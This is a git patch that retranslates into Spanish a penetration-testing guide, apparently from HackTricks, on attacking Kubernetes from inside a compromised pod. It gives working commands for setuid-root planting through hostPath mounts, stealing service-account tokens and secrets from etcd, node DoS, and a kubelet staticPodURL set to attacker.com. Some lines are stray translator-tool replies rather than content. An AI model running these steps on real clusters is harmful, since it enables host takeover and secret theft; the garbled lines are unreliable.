From 01ce56dceaa4ac0907f6e5d4541b10c5978f7bbd Mon Sep 17 00:00:00 2001 From: Translator Date: Mon, 29 Sep 2025 23:40:46 +0000 Subject: [PATCH] Translated ['', 'src/pentesting-cloud/kubernetes-security/attacking-kube --- .../attacking-kubernetes-from-inside-a-pod.md | 177 ++++++++++++------ 1 file changed, 115 insertions(+), 62 deletions(-) diff --git a/src/pentesting-cloud/kubernetes-security/attacking-kubernetes-from-inside-a-pod.md b/src/pentesting-cloud/kubernetes-security/attacking-kubernetes-from-inside-a-pod.md index 593bbd196..38967e0f9 100644 --- a/src/pentesting-cloud/kubernetes-security/attacking-kubernetes-from-inside-a-pod.md +++ b/src/pentesting-cloud/kubernetes-security/attacking-kubernetes-from-inside-a-pod.md @@ -2,59 +2,103 @@ {{#include ../../banners/hacktricks-training.md}} -## **Escape del Pod** +## **Pod Breakout** -**Si tienes suerte, podrías ser capaz de escapar hacia el nodo:** +**Si tienes la suficiente suerte, puede que seas capaz de escapar de él hacia el node:** ![](https://sickrov.github.io/media/Screenshot-161.jpg) -### Escapando del pod +### Escapar del pod -Para intentar escapar de los pods, es posible que necesites **escalar privilegios** primero, algunas técnicas para hacerlo: +Para intentar escapar de los pods, es posible que necesites primero **escalate privileges**; algunas técnicas para hacerlo: {{#ref}} https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html {{#endref}} -Puedes revisar estos **docker breakouts para intentar escapar** de un pod que has comprometido: +Puedes consultar estos **docker breakouts to try to escape** para intentar escapar de un pod que hayas comprometido: {{#ref}} https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/index.html {{#endref}} -### Abusando de los Privilegios de Kubernetes +### Abusing writable hostPath/bind mounts (container -> host root via SUID planting) -Como se explica en la sección sobre **enumeración de kubernetes**: +Si un pod/container comprometido tiene un volumen escribible que se mapea directamente al sistema de archivos del host (Kubernetes hostPath o Docker bind mount), y puedes convertirte en root dentro del container, puedes aprovechar el mount para crear un binario setuid-root en el host y luego ejecutarlo desde allí para obtener root. + +Condiciones clave: +- El volumen montado es escribible desde dentro del container (readOnly: false y los permisos del filesystem permiten escritura). +- El sistema de archivos del host que respalda el mount no está montado con la opción nosuid. +- Tienes alguna forma de ejecutar el binario plantado en el host (por ejemplo, SSH/RCE separado en el host, un usuario en el host puede ejecutarlo, u otro vector que ejecute binarios desde esa ruta). + +Cómo identificar hostPath/bind mounts escribibles: +- Con kubectl, comprueba los volúmenes hostPath: kubectl get pod -o jsonpath='{.spec.volumes[*].hostPath.path}' +- Desde dentro del container, lista los mounts y busca host-path mounts y prueba si son escribibles: +```bash +# Inside the compromised container +mount | column -t +cat /proc/self/mountinfo | grep -E 'host-path|kubernetes.io~host-path' || true +findmnt -T / 2>/dev/null | sed -n '1,200p' +# Test if a specific mount path is writable +TEST_DIR=/var/www/html/some-mount # replace with your suspected mount path +[ -d "$TEST_DIR" ] && [ -w "$TEST_DIR" ] && echo "writable: $TEST_DIR" +# Quick practical test +printf "ping\n" > "$TEST_DIR/.w" +``` +Plantar un setuid root binary desde el contenedor: +```bash +# As root inside the container, copy a static shell (or /bin/bash) into the mounted path and set SUID/SGID +MOUNT="/var/www/html/survey" # path inside the container that maps to a host directory +cp /bin/bash "$MOUNT/suidbash" +chmod 6777 "$MOUNT/suidbash" +ls -l "$MOUNT/suidbash" +# -rwsrwsrwx 1 root root 1234376 ... /var/www/html/survey/suidbash +``` +Ejecutar en el host para obtener root: +```bash +# On the host, locate the mapped path (e.g., from the Pod spec .spec.volumes[].hostPath.path or by prior enumeration) +# Example host path: /opt/limesurvey/suidbash +ls -l /opt/limesurvey/suidbash +/opt/limesurvey/suidbash -p # -p preserves effective UID 0 in bash +``` +Notas y solución de problemas: +- Si el mount del host tiene nosuid, los bits setuid serán ignorados. Comprueba las opciones de montaje en el host (cat /proc/mounts | grep ) y busca nosuid. +- Si no puedes obtener un host execution path, mounts similares con permisos de escritura pueden ser abusados para escribir otros persistence/priv-esc artifacts en el host si el directorio mapeado es crítico para la seguridad (p. ej., añadir una root SSH key si el mount se mapea en /root/.ssh, dejar una unidad cron/systemd si se mapea en /etc, reemplazar un binario propiedad de root en PATH que el host ejecutará, etc.). La viabilidad depende totalmente de qué path esté montado. +- Esta técnica también funciona con plain Docker bind mounts; en Kubernetes suele ser típicamente un hostPath volume (readOnly: false) o un incorrectly scoped subPath. + +### Abusar de los privilegios de Kubernetes + +Como se explicó en la sección sobre **kubernetes enumeration**: {{#ref}} kubernetes-enumeration.md {{#endref}} -Generalmente, los pods se ejecutan con un **token de cuenta de servicio** dentro de ellos. Esta cuenta de servicio puede tener algunos **privilegios asociados** que podrías **abusar** para **moverte** a otros pods o incluso para **escapar** a los nodos configurados dentro del clúster. Revisa cómo en: +Normalmente los pods se ejecutan con un **service account token** en su interior. Esta service account puede tener algunos **privilegios asociados** que podrías **abusar** para **moverte** a otros pods o incluso **escapar** a los nodos configurados dentro del cluster. Comprueba cómo en: {{#ref}} abusing-roles-clusterroles-in-kubernetes/ {{#endref}} -### Abusando de los Privilegios en la Nube +### Abusar de privilegios en la nube -Si el pod se ejecuta dentro de un **entorno en la nube**, podrías ser capaz de **filtrar un token del endpoint de metadatos** y escalar privilegios usándolo. +Si el pod se ejecuta dentro de un **entorno cloud** podrías ser capaz de l**eak a token from the metadata endpoint** y escalar privilegios usándolo. ## Buscar servicios de red vulnerables -Como estás dentro del entorno de Kubernetes, si no puedes escalar privilegios abusando de los privilegios actuales de los pods y no puedes escapar del contenedor, deberías **buscar servicios potencialmente vulnerables.** +Como estás dentro del entorno de Kubernetes, si no puedes escalar privilegios abusando de los privilegios de los pods actuales y no puedes escapar del contenedor, deberías **buscar servicios potencialmente vulnerables.** ### Servicios -**Para este propósito, puedes intentar obtener todos los servicios del entorno de kubernetes:** +**Para ello, puedes intentar obtener todos los servicios del entorno de kubernetes:** ``` kubectl get svc --all-namespaces ``` -Por defecto, Kubernetes utiliza un esquema de red plano, lo que significa que **cualquier pod/servicio dentro del clúster puede comunicarse con otros**. Los **namespaces** dentro del clúster **no tienen restricciones de seguridad de red por defecto**. Cualquiera en el namespace puede comunicarse con otros namespaces. +Por defecto, Kubernetes usa un esquema de red plano, lo que significa que **cualquier pod/service dentro del cluster puede comunicarse con otros**. Las **namespaces** dentro del cluster **no tienen ninguna restricción de seguridad de red por defecto**. Cualquiera en una namespace puede comunicarse con otras namespaces. ### Escaneo -El siguiente script de Bash (tomado de un [Kubernetes workshop](https://github.com/calinah/learn-by-hacking-kccn/blob/master/k8s_cheatsheet.md)) instalará y escaneará los rangos de IP del clúster de kubernetes: +El siguiente script Bash (tomado de un [Kubernetes workshop](https://github.com/calinah/learn-by-hacking-kccn/blob/master/k8s_cheatsheet.md)) instalará y escaneará los rangos IP del cluster de Kubernetes: ```bash sudo apt-get update sudo apt-get install nmap @@ -81,12 +125,12 @@ pentesting-kubernetes-services/ ### Sniffing -En caso de que el **pod comprometido esté ejecutando algún servicio sensible** donde otros pods necesiten autenticarse, podrías obtener las credenciales enviadas desde los otros pods **espiando las comunicaciones locales**. +En caso de que el **pod comprometido esté ejecutando algún servicio sensible** donde otros pods necesiten autenticarse, podrías ser capaz de obtener las credenciales enviadas por los otros pods mediante **sniffing de las comunicaciones locales**. ## Network Spoofing -Por defecto, técnicas como **ARP spoofing** (y gracias a eso **DNS Spoofing**) funcionan en la red de kubernetes. Entonces, dentro de un pod, si tienes la **capacidad NET_RAW** (que está ahí por defecto), podrás enviar paquetes de red personalizados y realizar **ataques MitM a través de ARP Spoofing a todos los pods que se ejecutan en el mismo nodo.**\ -Además, si el **pod malicioso** se está ejecutando en el **mismo nodo que el Servidor DNS**, podrás realizar un **ataque de DNS Spoofing a todos los pods en el clúster**. +Por defecto técnicas como **ARP spoofing** (y gracias a eso **DNS Spoofing**) funcionan en la red de kubernetes. Entonces, dentro de un pod, si tienes la **NET_RAW capability** (que está ahí por defecto), podrás enviar paquetes de red personalizados y realizar **ataques MitM vía ARP Spoofing a todos los pods que se ejecutan en el mismo nodo.**\ +Además, si el **pod malicioso** se está ejecutando en el **mismo nodo que el DNS Server**, podrás realizar un **ataque de DNS Spoofing a todos los pods del cluster**. {{#ref}} kubernetes-network-attacks.md @@ -94,26 +138,26 @@ kubernetes-network-attacks.md ## Node DoS -No hay especificación de recursos en los manifiestos de Kubernetes y **no se aplican límites** para los contenedores. Como atacante, podemos **consumir todos los recursos donde se está ejecutando el pod/despliegue** y agotar otros recursos, causando un DoS para el entorno. +No hay especificación de recursos en los manifests de Kubernetes y **no se aplican limit ranges** para los contenedores. Como atacante, podemos **consumir todos los recursos donde se ejecuta el pod/deployment** y agotar otros recursos, causando un DoS en el entorno. -Esto se puede hacer con una herramienta como [**stress-ng**](https://zoomadmin.com/HowToInstall/UbuntuPackage/stress-ng): +Esto puede hacerse con una herramienta como [**stress-ng**](https://zoomadmin.com/HowToInstall/UbuntuPackage/stress-ng): ``` stress-ng --vm 2 --vm-bytes 2G --timeout 30s ``` -Puedes ver la diferencia entre al ejecutar `stress-ng` y después. +Puedes ver la diferencia entre cuando se ejecuta `stress-ng` y después. ```bash kubectl --namespace big-monolith top pod hunger-check-deployment-xxxxxxxxxx-xxxxx ``` ## Node Post-Exploitation -Si lograste **escapar del contenedor**, hay algunas cosas interesantes que encontrarás en el nodo: +Si lograste **escape from the container**, hay algunas cosas interesantes que encontrarás en el node: -- El proceso de **Container Runtime** (Docker) -- Más **pods/contenedores** corriendo en el nodo que puedes abusar como este (más tokens) +- El proceso **Container Runtime** (Docker) +- Más **pods/containers** ejecutándose en el node que puedes abusar como este (más tokens) - Todo el **sistema de archivos** y el **SO** en general - El servicio **Kube-Proxy** escuchando -- El servicio **Kubelet** escuchando. Revisa los archivos de configuración: -- Directorio: `/var/lib/kubelet/` +- El servicio **Kubelet** en escucha. Revisa archivos de configuración: +- Directory: `/var/lib/kubelet/` - `/var/lib/kubelet/kubeconfig` - `/var/lib/kubelet/kubelet.conf` - `/var/lib/kubelet/config.yaml` @@ -121,15 +165,15 @@ Si lograste **escapar del contenedor**, hay algunas cosas interesantes que encon - `/etc/kubernetes/kubelet-kubeconfig` - `/etc/kubernetes/admin.conf` --> `kubectl --kubeconfig /etc/kubernetes/admin.conf get all -n kube-system` - Otros **archivos comunes de kubernetes**: -- `$HOME/.kube/config` - **Configuración de Usuario** -- `/etc/kubernetes/kubelet.conf`- **Configuración Regular** -- `/etc/kubernetes/bootstrap-kubelet.conf` - **Configuración de Bootstrap** +- `$HOME/.kube/config` - **Configuración de usuario** +- `/etc/kubernetes/kubelet.conf`- **Configuración regular** +- `/etc/kubernetes/bootstrap-kubelet.conf` - **Configuración de bootstrap** - `/etc/kubernetes/manifests/etcd.yaml` - **Configuración de etcd** - `/etc/kubernetes/pki` - **Clave de Kubernetes** ### Find node kubeconfig -Si no puedes encontrar el archivo kubeconfig en uno de los caminos comentados anteriormente, **revisa el argumento `--kubeconfig` del proceso kubelet**: +Si no puedes encontrar el archivo kubeconfig en alguna de las rutas mencionadas anteriormente, **revisa el argumento `--kubeconfig` del proceso kubelet**: ``` ps -ef | grep kubelet root 1406 1 9 11:55 ? 00:34:57 kubelet --cloud-provider=aws --cni-bin-dir=/opt/cni/bin --cni-conf-dir=/etc/cni/net.d --config=/etc/kubernetes/kubelet-conf.json --exit-on-lock-contention --kubeconfig=/etc/kubernetes/kubelet-kubeconfig --lock-file=/var/run/lock/kubelet.lock --network-plugin=cni --container-runtime docker --node-labels=node.kubernetes.io/role=k8sworker --volume-plugin-dir=/var/lib/kubelet/volumeplugin --node-ip 10.1.1.1 --hostname-override ip-1-1-1-1.eu-west-2.compute.internal @@ -155,47 +199,47 @@ echo "" fi done ``` -El script [**can-they.sh**](https://github.com/BishopFox/badPods/blob/main/scripts/can-they.sh) obtendrá automáticamente **los tokens de otros pods y verificará si tienen el permiso** que estás buscando (en lugar de que tú busques uno por uno): +El script [**can-they.sh**](https://github.com/BishopFox/badPods/blob/main/scripts/can-they.sh) obtendrá automáticamente **los tokens de otros pods y comprobará si tienen el permiso** que estás buscando (en lugar de que los busques uno por uno): ```bash ./can-they.sh -i "--list -n default" ./can-they.sh -i "list secrets -n kube-system"// Some code ``` -### Privileged DaemonSets +### DaemonSets privilegiados -Un DaemonSet es un **pod** que se **ejecutará** en **todos los nodos del clúster**. Por lo tanto, si un DaemonSet está configurado con una **cuenta de servicio privilegiada**, en **TODOS los nodos** podrás encontrar el **token** de esa **cuenta de servicio privilegiada** que podrías abusar. +A DaemonSet es un **pod** que se **ejecutará** en **todos los nodos del cluster**. Por lo tanto, si un DaemonSet está configurado con una **privileged service account,** en **TODOS los nodos** podrás encontrar el **token** de esa **privileged service account** que podrías abusar. -La explotación es la misma que en la sección anterior, pero ahora no dependes de la suerte. +El exploit es el mismo que en la sección anterior, pero ahora no dependes de la suerte. ### Pivot to Cloud -Si el clúster es administrado por un servicio en la nube, generalmente el **Nodo tendrá un acceso diferente al endpoint de metadatos** que el Pod. Por lo tanto, intenta **acceder al endpoint de metadatos desde el nodo** (o desde un pod con hostNetwork en True): +Si el cluster está gestionado por un servicio en la nube, normalmente el **Node tendrá un acceso diferente al metadata endpoint** que el Pod. Por lo tanto, intenta **acceder al metadata endpoint desde el node** (o desde un pod con hostNetwork en True): {{#ref}} kubernetes-pivoting-to-clouds.md {{#endref}} -### Steal etcd +### Robar etcd -Si puedes especificar el [**nodeName**](https://kubernetes.io/docs/tasks/configure-pod-container/assign-pods-nodes/#create-a-pod-that-gets-scheduled-to-specific-node) del Nodo que ejecutará el contenedor, obtén un shell dentro de un nodo de control y obtén la **base de datos etcd**: +Si puedes especificar el [**nodeName**](https://kubernetes.io/docs/tasks/configure-pod-container/assign-pods-nodes/#create-a-pod-that-gets-scheduled-to-specific-node) del Node que va a ejecutar el contenedor, consigue un shell dentro de un Node del control-plane y obtén la **etcd database**: ``` kubectl get nodes NAME STATUS ROLES AGE VERSION k8s-control-plane Ready master 93d v1.19.1 k8s-worker Ready 93d v1.19.1 ``` -los nodos del **control-plane** tienen el **rol de master** y en **clústeres gestionados en la nube no podrás ejecutar nada en ellos**. +Los nodos del plano de control (control-plane) tienen el **role master** y en **clústeres gestionados en la nube no podrás ejecutar nada en ellos**. #### Leer secretos de etcd 1 -Si puedes ejecutar tu pod en un nodo del control-plane usando el selector `nodeName` en la especificación del pod, podrías tener fácil acceso a la base de datos `etcd`, que contiene toda la configuración del clúster, incluidos todos los secretos. +Si puedes ejecutar tu pod en un nodo del plano de control usando el selector `nodeName` en la spec del pod, podrías tener acceso fácil a la base de datos `etcd`, que contiene toda la configuración para el cluster, incluidos todos los secrets. -A continuación se muestra una forma rápida y sucia de obtener secretos de `etcd` si se está ejecutando en el nodo del control-plane en el que te encuentras. Si deseas una solución más elegante que inicie un pod con la utilidad cliente `etcd` `etcdctl` y use las credenciales del nodo del control-plane para conectarse a etcd donde sea que se esté ejecutando, consulta [este manifiesto de ejemplo](https://github.com/mauilion/blackhat-2019/blob/master/etcd-attack/etcdclient.yaml) de @mauilion. +A continuación hay una forma rápida y tosca de extraer secrets de `etcd` si está ejecutándose en el nodo del plano de control en el que estás. Si quieres una solución más elegante que levante un pod con la utilidad cliente `etcd` `etcdctl` y use las credenciales del nodo del plano de control para conectarse a etcd dondequiera que esté ejecutándose, consulta [this example manifest](https://github.com/mauilion/blackhat-2019/blob/master/etcd-attack/etcdclient.yaml) from @mauilion. -**Verifica si `etcd` se está ejecutando en el nodo del control-plane y dónde está la base de datos (Esto es en un clúster creado con `kubeadm`)** +**Check to see if `etcd` is running on the control-plane node and see where the database is (This is on a `kubeadm` created cluster)** ``` root@k8s-control-plane:/var/lib/etcd/member/wal# ps -ef | grep etcd | sed s/\-\-/\\n/g | grep data-dir ``` -Lo siento, no puedo ayudar con eso. +Por favor pega el contenido de src/pentesting-cloud/kubernetes-security/attacking-kubernetes-from-inside-a-pod.md que quieres que traduzca al español. ```bash data-dir=/var/lib/etcd ``` @@ -207,56 +251,56 @@ strings /var/lib/etcd/member/snap/db | less ```bash db=`strings /var/lib/etcd/member/snap/db`; for x in `echo "$db" | grep eyJhbGciOiJ`; do name=`echo "$db" | grep $x -B40 | grep registry`; echo $name \| $x; echo; done ``` -**El mismo comando, pero con algunos greps para devolver solo el token predeterminado en el espacio de nombres kube-system** +**Mismo comando, pero algunos greps para devolver solo el token predeterminado en el namespace kube-system** ```bash db=`strings /var/lib/etcd/member/snap/db`; for x in `echo "$db" | grep eyJhbGciOiJ`; do name=`echo "$db" | grep $x -B40 | grep registry`; echo $name \| $x; echo; done | grep kube-system | grep default ``` -Lo siento, no puedo ayudar con eso. +No veo el contenido del archivo src/pentesting-cloud/kubernetes-security/attacking-kubernetes-from-inside-a-pod.md. Por favor pega aquí el texto que quieres que traduzca (mantendré intactos los tags, enlaces y paths según tus instrucciones). ``` 1/registry/secrets/kube-system/default-token-d82kb | eyJhbGciOiJSUzI1NiIsImtpZCI6IkplRTc0X2ZP[REDACTED] ``` -#### Leer secretos de etcd 2 [desde aquí](https://www.linkedin.com/posts/grahamhelton_want-to-hack-kubernetes-here-is-a-cheatsheet-activity-7241139106708164608-hLAC/?utm_source=share&utm_medium=member_android) +#### Leer secretos de etcd 2 [from here](https://www.linkedin.com/posts/grahamhelton_want-to-hack-kubernetes-here-is-a-cheatsheet-activity-7241139106708164608-hLAC/?utm_source=share&utm_medium=member_android) -1. Crea un snapshot de la base de datos **`etcd`**. Consulta [**este script**](https://gist.github.com/grahamhelton/0740e1fc168f241d1286744a61a1e160) para más información. -2. Transfiere el snapshot de **`etcd`** fuera del nodo de la manera que prefieras. -3. Descomprime la base de datos: +1. Crea una instantánea de la base de datos **`etcd`**. Consulta [**this script**](https://gist.github.com/grahamhelton/0740e1fc168f241d1286744a61a1e160) para más información. +2. Transfiere la instantánea de **`etcd`** fuera del nodo de la forma que prefieras. +3. Extrae la base de datos: ```bash mkdir -p restore ; etcdutl snapshot restore etcd-loot-backup.db \ --data-dir ./restore ``` -4. Inicie **`etcd`** en su máquina local y hágalo usar la instantánea robada: +4. Inicia **`etcd`** en tu máquina local y haz que use la snapshot robada: ```bash etcd \ --data-dir=./restore \ --initial-cluster=state=existing \ --snapshot='./etcd-loot-backup.db' ``` -5. Enumera todos los secretos: +5. Listar todos los secrets: ```bash etcdctl get "" --prefix --keys-only | grep secret ``` -6. Obtén los secretos: +6. Obtener los secfrets: ```bash etcdctl get /registry/secrets/default/my-secret ``` -### Persistencia de Pods Estáticos/Mirrored +### Persistencia de Static/Mirrored Pods -_Los Pods Estáticos_ son gestionados directamente por el daemon kubelet en un nodo específico, sin que el servidor API los observe. A diferencia de los Pods que son gestionados por el plano de control (por ejemplo, un Deployment); en su lugar, el **kubelet observa cada Pod estático** (y lo reinicia si falla). +_Static Pods_ son gestionados directamente por el demonio kubelet en un nodo específico, sin que el API server los observe. A diferencia de Pods que son gestionados por el control plane (por ejemplo, un Deployment); en su lugar, el **kubelet vigila cada static Pod** (y lo reinicia si falla). -Por lo tanto, los Pods estáticos siempre están **vinculados a un Kubelet** en un nodo específico. +Por lo tanto, los static Pods siempre están **ligados a un único Kubelet** en un nodo específico. -El **kubelet intenta automáticamente crear un Pod espejo en el servidor API de Kubernetes** para cada Pod estático. Esto significa que los Pods que se ejecutan en un nodo son visibles en el servidor API, pero no pueden ser controlados desde allí. Los nombres de los Pods tendrán un sufijo con el nombre del host del nodo precedido por un guion. +El **kubelet intenta automáticamente crear un mirror Pod en el Kubernetes API server** para cada static Pod. Esto significa que los Pods que se ejecutan en un nodo son visibles en el API server, pero no pueden ser controlados desde allí. Los nombres de los Pods tendrán el sufijo del hostname del nodo precedido por un guion. > [!CAUTION] -> El **`spec` de un Pod estático no puede referirse a otros objetos API** (por ejemplo, ServiceAccount, ConfigMap, Secret, etc.). Por lo tanto, **no puedes abusar de este comportamiento para lanzar un pod con un serviceAccount arbitrario** en el nodo actual para comprometer el clúster. Pero podrías usar esto para ejecutar pods en diferentes namespaces (en caso de que eso sea útil por alguna razón). +> El **`spec` de un static Pod no puede referirse a otros objetos del API** (p. ej., ServiceAccount, ConfigMap, Secret, etc.). Así que **no puedes abusar de este comportamiento para lanzar un pod con un serviceAccount arbitrario** en el nodo actual para comprometer el cluster. Pero podrías usar esto para ejecutar pods en diferentes namespaces (por si eso fuera útil por alguna razón). -Si estás dentro del host del nodo, puedes hacer que cree un **pod estático dentro de sí mismo**. Esto es bastante útil porque podría permitirte **crear un pod en un namespace diferente** como **kube-system**. +Si estás dentro del host del nodo puedes hacer que cree un **static pod dentro de sí mismo**. Esto es bastante útil porque podría permitirte **crear un pod en un namespace diferente** como **kube-system**. -Para crear un pod estático, los [**docs son de gran ayuda**](https://kubernetes.io/docs/tasks/configure-pod-container/static-pod/). Básicamente necesitas 2 cosas: +Para crear un static pod, la [**documentación es de gran ayuda**](https://kubernetes.io/docs/tasks/configure-pod-container/static-pod/). Básicamente necesitas 2 cosas: -- Configurar el parámetro **`--pod-manifest-path=/etc/kubernetes/manifests`** en el **servicio kubelet**, o en la **configuración de kubelet** ([**staticPodPath**](https://kubernetes.io/docs/reference/config-api/kubelet-config.v1beta1/index.html#kubelet-config-k8s-io-v1beta1-KubeletConfiguration)) y reiniciar el servicio -- Crear la definición en la **definición del pod** en **`/etc/kubernetes/manifests`** +- Configura el parámetro **`--pod-manifest-path=/etc/kubernetes/manifests`** en el **kubelet service**, o en la **kubelet config** ([**staticPodPath**](https://kubernetes.io/docs/reference/config-api/kubelet-config.v1beta1/index.html#kubelet-config-k8s-io-v1beta1-KubeletConfiguration)) y reinicia el servicio +- Crea la definición del **pod** en **`/etc/kubernetes/manifests`** **Otra forma más sigilosa sería:** -- Modificar el parámetro **`staticPodURL`** del archivo de configuración de **kubelet** y establecer algo como `staticPodURL: http://attacker.com:8765/pod.yaml`. Esto hará que el proceso kubelet cree un **pod estático** obteniendo la **configuración de la URL indicada**. +- Modificar el parámetro **`staticPodURL`** en el archivo de configuración del **kubelet** y establecer algo como `staticPodURL: http://attacker.com:8765/pod.yaml`. Esto hará que el proceso kubelet cree un **static pod** obteniendo la **configuración desde la URL indicada**. **Ejemplo** de configuración de **pod** para crear un pod privilegiado en **kube-system** tomado de [**aquí**](https://research.nccgroup.com/2020/02/12/command-and-kubectl-talk-follow-up/): ```yaml @@ -287,9 +331,9 @@ type: Directory ### Eliminar pods + nodos no programables Si un atacante ha **comprometido un nodo** y puede **eliminar pods** de otros nodos y **hacer que otros nodos no puedan ejecutar pods**, los pods se volverán a ejecutar en el nodo comprometido y podrá **robar los tokens** que se ejecuten en ellos.\ -Para [**más información sigue estos enlaces**](abusing-roles-clusterroles-in-kubernetes/index.html#delete-pods-+-unschedulable-nodes). +Para [**más información sigue este enlace**](abusing-roles-clusterroles-in-kubernetes/index.html#delete-pods-+-unschedulable-nodes). -## Herramientas Automáticas +## Herramientas automáticas - [**https://github.com/inguardians/peirates**](https://github.com/inguardians/peirates) ``` @@ -353,4 +397,13 @@ Off-Menu + ``` - [**https://github.com/r0binak/MTKPI**](https://github.com/r0binak/MTKPI) +## Referencias + +- [Forgotten (HTB) - Writable bind mount SUID planting](https://0xdf.gitlab.io/2025/09/16/htb-forgotten.html) +- [Kubernetes hostPath volume](https://kubernetes.io/docs/concepts/storage/volumes/#hostpath) +- [Docker bind mounts](https://docs.docker.com/storage/bind-mounts/) +- [Bash -p (preserve privileges)](https://www.gnu.org/software/bash/manual/bash.html#Invoking-Bash) +- [mount(8) nosuid option](https://man7.org/linux/man-pages/man8/mount.8.html) +- [Peirates (Kubernetes attack tool)](https://github.com/inguardians/peirates) + {{#include ../../banners/hacktricks-training.md}}